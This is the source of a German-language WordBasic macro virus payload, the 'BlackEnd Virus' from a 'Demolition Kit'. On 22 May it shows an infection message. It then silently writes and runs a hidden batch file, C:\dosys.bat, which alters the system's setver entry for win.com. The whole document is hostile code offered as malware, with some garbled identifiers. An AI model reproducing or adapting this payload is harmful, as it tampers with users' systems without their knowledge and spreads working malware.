Sub MAIN

REM A Virus from Nightmare Joker's Demolition Kit!

On Error Goto Finito2

If Monat(Jetzt()) = 5 And Tag(Jetzt()) = 22 Then

DateiNeu .DokVorlage = "Normal", .DokVorlageNeu = 1
DokumentMaximieren
Schriftgrad 16
Fett
Schriftart "Arial"
Einfgen "You are infected with the BlackEnd Virus! [D.K.]"

n = Sekunde(Jetzt())
m = n + 3
Again:
While n <> m
n = Sekunde(Jetzt())
Goto Again
Wend

Finito2:

Open "C:\dosys.bat" For Output 	As #1
Print #1, "@echo off"
Print #1, "doskey Fun=setver win.com 3.00"
Print #1, "@echo off"
Print #1, "Fun"
Close #1
Shell "C:\dosys.bat", 0
AttributBestimmen "C:\dosys.bat", 2

Else
	REM Nothing to do!
End If
End Sub
